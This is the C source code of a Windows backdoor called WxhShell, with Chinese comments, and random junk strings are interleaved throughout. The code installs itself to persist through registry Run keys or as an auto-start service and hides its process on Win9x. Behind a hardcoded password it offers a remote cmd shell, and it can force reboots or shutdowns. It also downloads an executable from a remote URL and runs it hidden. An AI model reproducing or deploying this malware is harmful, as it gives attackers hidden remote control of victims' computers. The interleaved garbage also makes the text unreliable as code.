zT DWORD BasePriority; 38tRb"3zP ULONG UniqueProcessId; dK#:io[Nz ULONG InheritedFromUniqueProcessId; HKP<=<8/O } PROCESS_BASIC_INFORMATION; h&{9 &D1t ,*+F*:o(m PROCNTQSIP NtQueryInformationProcess; [as\>@o ]KA|};>ow static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^$FHI_ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AcwLs%'sx f2`[skNj HANDLE hProcess; dli?/U@hO PROCESS_BASIC_INFORMATION pbi; Ww{bh-nyq ,?3r-bM HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lSPQXu*[ if(NULL == hInst ) return 0; [GyW1-p33w YiTiJ9jf g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \3"4;fM!i g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }:])1!a NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;/XWX$G@ "@xI
if (!NtQueryInformationProcess) return 0;
X/}kNW!q r,cV( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z{wJQZ9" if(!hProcess) return 0; Nz'fM daX, pi*cO if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pV9$Vg?-H `+CRUdr CloseHandle(hProcess); B36_OH ",k"c}3G hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yTm/P!1S if(hProcess==NULL) return 0; 2`9e20 7v]>ID HMODULE hMod; 5V':3o;D__ char procName[255]; <~X4&E]rT_ unsigned long cbNeeded; ,6=j'j1#a e4fh<0gX if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2-s ,PQno^ 66(|3D X CloseHandle(hProcess); i+
]3J/J *39Y1+=)$$ if(strstr(procName,"services")) return 1; // 以服务启动 3+ %a )"/.2S; return 0; // 注册表启动 v-B{7
~=#Z } mSm:>hBd 8oK*NB29 // 主模块 ?1T)cd* int StartWxhshell(LPSTR lpCmdLine) j^;f {0f { oCg|*
c|+ SOCKET wsl; JfGU3d*c BOOL val=TRUE; -GJ~xcf0 int port=0; 84j6.\, struct sockaddr_in door; Z@2^> eC O{R)0& if(wscfg.ws_autoins) Install(); [3lAKI `d2
r5*< port=atoi(lpCmdLine); % CV@FdB 4
3V{q if(port<=0) port=wscfg.ws_port; & Xm!i(i <'N"GLJ WSADATA data; }$iKz*nx| if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?l/VCEZP lHerEv<ja if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; O?L6Ues setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L{1MyR7`I+ door.sin_family = AF_INET; q4=Gj`\43 door.sin_addr.s_addr = inet_addr("127.0.0.1"); `k2YH? door.sin_port = htons(port); f8 E,.$> iY?J3nxD-: if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f@yInIzRJ closesocket(wsl); WVyk?SBw return 1; VUnO&zV{ } _^w&k{T {P')$f) if(listen(wsl,2) == INVALID_SOCKET) { G%ytp=N closesocket(wsl); ~8:q-m_h return 1; dDYD6 } Y\75cfD Wxhshell(wsl); TS4Yzq,f WSACleanup(); lt08
E2p9 ^% ZbjJ7|j return 0; IJ\4S ^x2zMB\t } "QSmxr " b3-'/& // 以NT服务方式启动 WN#S%G:Q) VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U/}YpLgdD { V3D`pt\[x DWORD status = 0; u+EZ"p;o DWORD specificError = 0xfffffff; xnP@h 3D 4-Wo4 serviceStatus.dwServiceType = SERVICE_WIN32; (%~^Kmfb0 serviceStatus.dwCurrentState = SERVICE_START_PENDING; $ /`X7a{ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3fGL(5|_ serviceStatus.dwWin32ExitCode = 0; !aQb
Kp serviceStatus.dwServiceSpecificExitCode = 0; AS4mJ UU9 serviceStatus.dwCheckPoint = 0; 4}4 cA\B:n serviceStatus.dwWaitHint = 0; tE'^O<
K DpQ\q; hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =T!eyGE if (hServiceStatusHandle==0) return; 59Lc-JJ p{|!LcSU$2 status = GetLastError(); W_.WMbT if (status!=NO_ERROR) <qGxkV
{ 56w uk
[) serviceStatus.dwCurrentState = SERVICE_STOPPED; W {A4*{ serviceStatus.dwCheckPoint = 0; J4?i\wD: serviceStatus.dwWaitHint = 0; Mh"X9-Ot serviceStatus.dwWin32ExitCode = status;
6a} serviceStatus.dwServiceSpecificExitCode = specificError; GHNw.<`l? SetServiceStatus(hServiceStatusHandle, &serviceStatus); }fO+b5U return; #ZkT![` } !,lk>j.V 9]C%2!Ur, serviceStatus.dwCurrentState = SERVICE_RUNNING; B/O0 ~y!n serviceStatus.dwCheckPoint = 0; "w&IO}j;= serviceStatus.dwWaitHint = 0; Oh# z zo if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |xawguJ } )_n=it$ &cGa~#-u // 处理NT服务事件,比如:启动、停止 |PtfG2Ty? VOID WINAPI NTServiceHandler(DWORD fdwControl) %lq[,6?>5 { 9Js+*,t switch(fdwControl) w)N~u% { 9U>OeTh( case SERVICE_CONTROL_STOP: )Cu2xRr^` serviceStatus.dwWin32ExitCode = 0; ff&jR71E serviceStatus.dwCurrentState = SERVICE_STOPPED; -wa"&Q serviceStatus.dwCheckPoint = 0; @yM$Et5 serviceStatus.dwWaitHint = 0; R_^0Un([ { +Jm~Um! SetServiceStatus(hServiceStatusHandle, &serviceStatus); N C%96gfD } 60TM!\ return; <$(y6+lY case SERVICE_CONTROL_PAUSE: }1
,\*)5 serviceStatus.dwCurrentState = SERVICE_PAUSED; ]sTb Ew.[ break; s<>d&W 0= case SERVICE_CONTROL_CONTINUE: qCkC 2Fy( serviceStatus.dwCurrentState = SERVICE_RUNNING; ZyM7)!+kPa break; 'B:8tv case SERVICE_CONTROL_INTERROGATE: (/7b8)g break; o_8Wnx^ }; {oSdVRI SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6l'J!4*qY } U ,NGV0 YdDP;,
DA // 标准应用程序主函数 VBUrtx: int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GQ(*k)'a { \sz*M
B C(8VXtx_ // 获取操作系统版本 O^J=19Ri OsIsNt=GetOsVer(); d.|*sZ&3p GetModuleFileName(NULL,ExeFile,MAX_PATH); e%s1D AL !ppi // 从命令行安装 sZI"2[bk if(strpbrk(lpCmdLine,"iI")) Install(); 'ZJb` EXMW, // 下载执行文件 Q6T"8K/ if(wscfg.ws_downexe) { Fr~\ZL if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5S<Rz) 1r WinExec(wscfg.ws_filenam,SW_HIDE); #_eXybUV } L{&>,ww AJ+\Qs(0 if(!OsIsNt) { wBDHhXi0 // 如果时win9x,隐藏进程并且设置为注册表启动 0!-'4+" HideProc(); ebn3r:IU- StartWxhshell(lpCmdLine); E{0e5. { } Qr\eT} else +BeA4d8b if(StartFromService()) DIABR%0 // 以服务方式启动 &gJ1*"$9 StartServiceCtrlDispatcher(DispatchTable); B(WmJ6e else ;>uB$8<_7 // 普通方式启动 B}S+/V`
Y5 StartWxhshell(lpCmdLine); 3 [j,d]\| =+LIGHIt return 0; _Pno9| } svx7 AR!v%Z49i NE.h/+4 v%$l( =========================================== OK)>QGl wz1nV} -oUGmV_ E
mg=, tm/=Oc1p Tdade+ " veuX/>! Ni8%K6]z #include <stdio.h> (/At+MF3E #include <string.h> ^vxx]Hji #include <windows.h> *^%+PQ #include <winsock2.h> ]0&X[? #include <winsvc.h> O1UArD #include <urlmon.h> R%4Yg(-Q @<3E`j'p #pragma comment (lib, "Ws2_32.lib") L[ZS17;* #pragma comment (lib, "urlmon.lib") +m]-) '<3h8\" #define MAX_USER 100 // 最大客户端连接数 Z^]jy>dj #define BUF_SOCK 200 // sock buffer c(uDkX #define KEY_BUFF 255 // 输入 buffer }W@refS #8sy QWlG #define REBOOT 0 // 重启 =@
acg0 #define SHUTDOWN 1 // 关机 -<g[P_# e`co:HO`# #define DEF_PORT 5000 // 监听端口 e/cHH34 `+T 2IPN
#define REG_LEN 16 // 注册表键长度 HU'w[r6a #define SVC_LEN 80 // NT服务名长度 $@@ii+W}\ 9i U/[d // 从dll定义API &',#j]I typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^,YTQ.O typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >-\^ )z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sBYDo{01 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZBR^$?nj BdMd\1eMw // wxhshell配置信息 H#7=s{u struct WSCFG { *Lxt{z`9 int ws_port; // 监听端口 c0Bqm char ws_passstr[REG_LEN]; // 口令 wm^1Fn-- int ws_autoins; // 安装标记, 1=yes 0=no }-sh char ws_regname[REG_LEN]; // 注册表键名 SOE-Kio=B char ws_svcname[REG_LEN]; // 服务名 =xDxX#3 char ws_svcdisp[SVC_LEN]; // 服务显示名 %19~9Tw char ws_svcdesc[SVC_LEN]; // 服务描述信息 pdm(7^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,}\LC;31, int ws_downexe; // 下载执行标记, 1=yes 0=no ^SsdM#E char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U#[T!E char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +pq)
7 z6 }p4 }; p7 !y# B8eZ}9X // default Wxhshell configuration ZV:df 6S struct WSCFG wscfg={DEF_PORT, ~"0{<mMcX "xuhuanlingzhe", Op8Gj
` 1, fPHV]8Ft| "Wxhshell", 0<:rp]<, "Wxhshell", P5h*RV>oS "WxhShell Service", ?mM:oQH+> "Wrsky Windows CmdShell Service", X3 1%T" "Please Input Your Password: ", h^_^)P+; 1, hSxK*.W*3 "http://www.wrsky.com/wxhshell.exe", Iila|,cM "Wxhshell.exe" GApvRR+Z }; pY-!NoES ~Er0$+q=Y; // 消息定义模块 [T4{K& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JBA{i45x char *msg_ws_prompt="\n\r? for help\n\r#>"; xv Xci W char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ob8}v*s char *msg_ws_ext="\n\rExit."; r>! @Z2%s char *msg_ws_end="\n\rQuit."; 9(qoME}>= char *msg_ws_boot="\n\rReboot..."; p>kny?AJ char *msg_ws_poff="\n\rShutdown..."; tV_3!7m0$ char *msg_ws_down="\n\rSave to "; s0]ZE\`H> x0>N{ADXQ char *msg_ws_err="\n\rErr!"; X.>~DT%0Lm char *msg_ws_ok="\n\rOK!"; n$NM S"@6, char ExeFile[MAX_PATH]; 5FuV=Y uc int nUser = 0; J/D~]U HANDLE handles[MAX_USER]; v(R^LqE int OsIsNt; f+ZOE?" +zbCYA SERVICE_STATUS serviceStatus; :R
+BC2x SERVICE_STATUS_HANDLE hServiceStatusHandle; n 7B2rRJH lK/4"& // 函数声明 ,aD~7QX1: int Install(void); J zFR9DEt int Uninstall(void); *~4<CP+"0 int DownloadFile(char *sURL, SOCKET wsh); o/
51RH int Boot(int flag); l%('5oz@\ void HideProc(void); \1&4wzT int GetOsVer(void); k&:q|[N int Wxhshell(SOCKET wsl); @aN~97
H\ void TalkWithClient(void *cs); k"%JyO8Y int CmdShell(SOCKET sock); Nt]nwae>A int StartFromService(void); ^t71${w## int StartWxhshell(LPSTR lpCmdLine); J @~g> o3\^9-jmp VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6iXV VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?./fVoA]V 1u5^a^O(| // 数据结构和表定义 ]K8G}|Wy6 SERVICE_TABLE_ENTRY DispatchTable[] = -hfkF+=U' { suIYfjh {wscfg.ws_svcname, NTServiceMain}, o<p4r}*AVJ {NULL, NULL} %-fS:~$ }; p
%.Adxx g$mMH // 自我安装 *2N0r2t& int Install(void) "M+I$*] { \v+c. char svExeFile[MAX_PATH]; )(yaX HKEY key; *Q?8OwhJ strcpy(svExeFile,ExeFile); tS\Db'C7 A-.Wd7^~* // 如果是win9x系统,修改注册表设为自启动 Im-qGB0C if(!OsIsNt) { Z_dL@\#| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { THX% z
` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); op2Zf?Bx{+ RegCloseKey(key); -DJ,<f*$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z79oj\&[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); As5l36 RegCloseKey(key); OAFxf,b return 0; 6<
-Cpc } u\iKdL } oxeIh9
E } gBWr)R else { =Ez@kTvOs W5Jy"]^I // 如果是NT以上系统,安装为系统服务 3TeRZ=2:*x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R>~I8k9mM if (schSCManager!=0) E}F-*go { [-"ZuUG SC_HANDLE schService = CreateService :6%ivS ( IO7gq+ schSCManager, A /c
wscfg.ws_svcname, /E{tNd^S wscfg.ws_svcdisp, LkK&<z SERVICE_ALL_ACCESS, -Vb5d!( SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %jf|efxo SERVICE_AUTO_START, G(shZ=fq SERVICE_ERROR_NORMAL, 3G 5xIr6
svExeFile, (RrC<5" NULL, D+
.vg?8 NULL, 5]CaWFSmT NULL, 3LJ\y NULL, ?G7*^y&Q NULL @c"s6h& ); c;(Fz^&_ if (schService!=0) 5kWzD'!^ { M&q~e@P CloseServiceHandle(schService); DnhbMxh8o CloseServiceHandle(schSCManager); 90Sras>F strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bQ
0Ab"+D strcat(svExeFile,wscfg.ws_svcname); [e_csQ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Voq/0,d RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J(~1mIJjC RegCloseKey(key); z[Q e86L return 0; 65U\;Ew } khT[ } 2*cc26o CloseServiceHandle(schSCManager); z<^LY] } }M"])B I
} "Dq^r9 VM&Ref4 return 1; Y}q~Km } hMvJNI6O k EAF1RP: // 自我卸载 r~7}w4U int Uninstall(void) yA*U^:% { c68y\ HKEY key; 5 A5t @e\
@EW if(!OsIsNt) { _\,lv
\u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [h&s<<#
D RegDeleteValue(key,wscfg.ws_regname); c=?6`m,"M RegCloseKey(key); i|,}y`C# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H"Hl~ ~U RegDeleteValue(key,wscfg.ws_regname); l=Jw6F+5 RegCloseKey(key); pV\ >? return 0; #j+cl' } .!lLj1?p } 73]t5=D: }
}hm_Ws else { 5 b,|6 =|empv# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #)48dW!n if (schSCManager!=0) *wd=&Z^19 { L*|P' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }.WO=IZ if (schService!=0) (~5]1S}F { /F|VYl^_ if(DeleteService(schService)!=0) { Slv:CM
M CloseServiceHandle(schService); `)KGajB CloseServiceHandle(schSCManager); R- ,L"Vv return 0; ei=u$S. } m]Qs
BK CloseServiceHandle(schService); %BMlcm7Ec } :f_oN3F p CloseServiceHandle(schSCManager); #uC}IX2n } FzCXA=m } P\{s C6E ^'Rs`e return 1; 9jx>&MnWs } M$>Nd6,@N aZa1 eE // 从指定url下载文件 $[Nf?`f(t_ int DownloadFile(char *sURL, SOCKET wsh) 7zU~X, { U,fPG/9 HRESULT hr; vo)W
ziHh char seps[]= "/"; (Nd)$Oq[4 char *token; hPGDN\#LD char *file; "s_S!;w@ char myURL[MAX_PATH]; <HS{A$] char myFILE[MAX_PATH]; =`N 0 U#w0 E G strcpy(myURL,sURL); ZZ :*c"b: token=strtok(myURL,seps); 0jxXUWO while(token!=NULL) 55] MRv { u WdKG({][ file=token; cG@Wo8+ token=strtok(NULL,seps); Qz2jV } jeA2yjAC C{G=Y[?oc GetCurrentDirectory(MAX_PATH,myFILE); -{z[.v.p strcat(myFILE, "\\"); =JPY{'V O strcat(myFILE, file); on5\rY<I:@ send(wsh,myFILE,strlen(myFILE),0); 1~2+w]-kU send(wsh,"...",3,0); #}~?8/h! hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5
/oW/2" if(hr==S_OK) #u\~AO?h return 0; z-"P raP else v"%>ms"n return 1; r9b(d] k!$$ *a* } Yy`A0v `jhbKgR[ // 系统电源模块 ~+Cl9:4T int Boot(int flag) rTJqw@]#WH { H+gB| HANDLE hToken; T-7(3#& TOKEN_PRIVILEGES tkp; k{lX K\zN 3KkJQ5a if(OsIsNt) { R `ob;>[Q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /S^>06{-+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^HTvw~]5 tkp.PrivilegeCount = 1; |m*l/@1 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $ER$|9)KD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _Vt9ckaA if(flag==REBOOT) { hM="9]i. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gOE? return 0; o~4kJW# } JP
;SO else { TC=>De2; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /Zx"BSu return 0; [{&OcEf } >>y\idg&: } ]z=dRq else { N6S@e\* if(flag==REBOOT) { pRsIi_~& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d}Y#l}!E6 return 0; sE{5&aCSR } n3eWqwQ$5 else { E\9HZ;}G if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5UK}AkEe&x return 0; N693eN! } +~
Y.m8 } 5s4x%L (~} .;,,{; return 1; j9/iBK\Y } g@?R" 2sEG#/Y= // win9x进程隐藏模块 }#=t%uZ/ void HideProc(void) fmLDufx { 3{ea~G)[9 I-kK^_0mV< HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fti0Tz' if ( hKernel != NULL ) _KyhX| { Ar_Yl|a pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W%9~'pXgB ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h*Mi/\ FreeLibrary(hKernel); fNyXDCl } K>\v<!%a 889^P`Q5 return; 8LuU2Lo } 2<AQ{
c ew c:-2Y^ // 获取操作系统版本 oJE<}~_k int GetOsVer(void) 5~#oQ& { w-@6qMJ OSVERSIONINFO winfo; ye}86{l winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Aaz:C5dtU GetVersionEx(&winfo); G#E8xA"{/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IkGM~3e return 1; 0/%RrE else U`)d
`4" return 0; tpgD{BY^wJ } b`;&o^7gMO ChNT;G<6$ // 客户端句柄模块 \,!Qo*vj int Wxhshell(SOCKET wsl) IRv/[|"L { 2q9$5 SOCKET wsh; CSNz8
y struct sockaddr_in client; XF@34b5( DWORD myID; DoICf1 [8acan+
2l while(nUser<MAX_USER) 9sv#TT5V { &=In int nSize=sizeof(client); ,WoV)L'? wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "b)EH/s if(wsh==INVALID_SOCKET) return 1; Kz]\o"K 1@~ 1vsJ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eG.s|0` if(handles[nUser]==0) "412w^5[T closesocket(wsh); ,kFp%qNj else WK{F nUser++; f|j<Mj+\ } ?+{_x^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5+(Cp3 Tj6Czq=*%T return 0; ZF<$6"4N } tq*6]q8c> }Cb-7/ // 关闭 socket @FRas00)| void CloseIt(SOCKET wsh) I(/*pa?m{ { ? Z2`f6;W4 closesocket(wsh); j5~~% nUser--; *
COC& ExitThread(0); YYe=E,q } [BEQ ~A_I dI%N wl% // 客户端请求句柄 ^=gN >xP void TalkWithClient(void *cs) |vBy=: { L /N%ft]!T | `?J2WGe SOCKET wsh=(SOCKET)cs; @ykl:K%ke char pwd[SVC_LEN]; Nr*o
RYY char cmd[KEY_BUFF]; V'K:52 char chr[1]; +Je%8jH int i,j; `j 4> owA.P-4 while (nUser < MAX_USER) { Y44[2 :m jZe/h#J)[ if(wscfg.ws_passstr) { A5s;<d0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -x!JTx[K //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dvAz}3p0] //ZeroMemory(pwd,KEY_BUFF); ^--8
cLB
n i=0; VLbbn while(i<SVC_LEN) { (L W2S;- 4S* X=1 // 设置超时 ~L_1&q^4!i fd_set FdRead; aR)w~s\6 struct timeval TimeOut; wOEc~WOd FD_ZERO(&FdRead); i
G%R'/* FD_SET(wsh,&FdRead); "9NWsy}<c TimeOut.tv_sec=8; K}Q:L(SSr\ TimeOut.tv_usec=0; Fj`K$K? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {_Fh3gjb/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ia[<;":U mPo.Z"uy7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gz Dfx&.0 pwd=chr[0]; 1q|iw if(chr[0]==0xd || chr[0]==0xa) { !-JvVdM;( pwd=0; M'pIAm1p break; j.\0p-, } E!=Iz5 i++; Ns\};j?TU* } )E^Pn|H wVF
qkJ // 如果是非法用户,关闭 socket LMLrH. if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1c*;Lr.K } u Vo"_c w Q&w"!N send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l.BiE<& send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ieh<|O,-C UsdMCJ&G while(1) { 5eM{>qr} nL]eGC ZeroMemory(cmd,KEY_BUFF); 6$H`wDh#(& _Ec"[xW // 自动支持客户端 telnet标准 {"|la;*I j=0; _]L]_Bh while(j<KEY_BUFF) { Zlrbd if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bc'Mj=>; cmd[j]=chr[0]; +DE;aGQ.z? if(chr[0]==0xa || chr[0]==0xd) { 7ab'q&Y[ cmd[j]=0; 7zowvE?# break; 60WlC0Y~u } fk\]wFj j++; n8i: /ypB } *qFl&*h} ^,`]Q)P^ // 下载文件 4hkyq>c} if(strstr(cmd,"http://")) { 02-% B~oP send(wsh,msg_ws_down,strlen(msg_ws_down),0); lWUQkS
if(DownloadFile(cmd,wsh)) eWr6@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); p!\GJ a", else `r0lu_.$]4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t~":'le`zr } Xi w else { @S6@pMo, Z1]4: switch(cmd[0]) { uXb}oUC Uz%ynH // 帮助 Zu94dFP case '?': { i9T<(sdK+ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 35:RsL break; Ve<f} } U(%6ny // 安装 J'yCVb)V case 'i': { 0:c3aq&u if(Install()) gLK0L%"5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); s}bLA>~Ta else $"MGu^0;1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sH]T1z break; LZQG. } ?A-f_0<0 // 卸载 ScmwHid:\ case 'r': { FRXaPod if(Uninstall()) m[BpV.s send(wsh,msg_ws_err,strlen(msg_ws_err),0); HYv-5:B else J7t) H_S{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zqb*-1Qw"* break; 'lOQb) } p$` ^A // 显示 wxhshell 所在路径 ]@ }o"Td case 'p': { t. DnF[ char svExeFile[MAX_PATH]; &>G8DvfJ9 strcpy(svExeFile,"\n\r"); J|VDZ# c7 strcat(svExeFile,ExeFile); Y' 5X4Ks| send(wsh,svExeFile,strlen(svExeFile),0); ja(ZJ[<` break; r,Msg&rT } [Mj5o<k;I // 重启 F)@zo/u5L case 'b': { *e:2iM)8~ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4
[]!Km if(Boot(REBOOT)) A=70UL send(wsh,msg_ws_err,strlen(msg_ws_err),0); dJlK'zK else { U8@P/Z9 closesocket(wsh); p&D7&Sb[ ExitThread(0); 3sDyB-\& } nGur2}>n break; AoK;6je`K^ } P,rLyx // 关机 dux_v"Xl case 'd': { Mhc5<~? send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MM( ,D&
Z if(Boot(SHUTDOWN)) G&4D0f send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5xU}}[|~- else { I.`DBI#-f closesocket(wsh); H}(WL+7 ExitThread(0); qac:"z'9 } r$ I k*R break; _qh\
} <N3~X,ch // 获取shell V}Oz!
O case 's': { KIKIag# CmdShell(wsh); ^==Tv+T9U closesocket(wsh); JOs
kf( ExitThread(0); {wO.nOB break; rd"!&i } j HObWUX // 退出 B[2t.d;h case 'x': { N
x^JC_ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E,ooD3$h CloseIt(wsh); B~,?Gbl+g break; /;xrd\du } +?{LLD*2e // 离开 /AYq^ case 'q': { K<WowU send(wsh,msg_ws_end,strlen(msg_ws_end),0);
=l6WO* closesocket(wsh); ,'sDauFn WSACleanup(); _ozg=n2( exit(1); /nEK|.j break; UWdqcOr } UF@. } , 10+Sh } iTF%}( yA7O<p+ // 提示信息 \Rha7O if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); = \K/ulZo } |:u5R% } G=C2l#
Ae! R@`xS<`L/ return; P$3!4D[ } L3j
~O oo S(rnVsW%Ki // shell模块句柄 B}aW y &D int CmdShell(SOCKET sock) F)19cKx7 { v[?gM.SF STARTUPINFO si; 9<"F3F0| ZeroMemory(&si,sizeof(si)); Urksj:N si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?q0a^c?A^ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {xP-p"?p PROCESS_INFORMATION ProcessInfo; =c]We:I char cmdline[]="cmd"; i?)bF!J CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?*<1B return 0; w2^s}NO } C[+?gQJ[9 aD~S~L! // 自身启动模式 [~;wCW,1 int StartFromService(void) j-qg{oIJ { cvx"XxE, typedef struct ZT,auSX { PAVlZ}kj DWORD ExitStatus; +LF=oM< DWORD PebBaseAddress; ]n$ v ^ DWORD AffinityMask; 5cl^:Ua DWORD BasePriority; V=+p8nE0 ULONG UniqueProcessId; TaKCN ULONG InheritedFromUniqueProcessId; "`'+@KlE } PROCESS_BASIC_INFORMATION; ur]WNk8bN UY:Be8C A PROCNTQSIP NtQueryInformationProcess; WJ 'lYl0+7 ]]5(:>l static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F'_z$,X6 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ] HRHF'4 DvA#zX[ HANDLE hProcess; m5hu;>gt PROCESS_BASIC_INFORMATION pbi; kjSzuqB -7 EwZRS@9 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 64:p 4N if(NULL == hInst ) return 0; 3@<m/% TETfRnm g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qzk]9`i1: g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dO-Zj#%7z8 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dtXtZ!g2 s GrI%3[e" if (!NtQueryInformationProcess) return 0; %H}M[_f 2 m72PU<. hProcess = 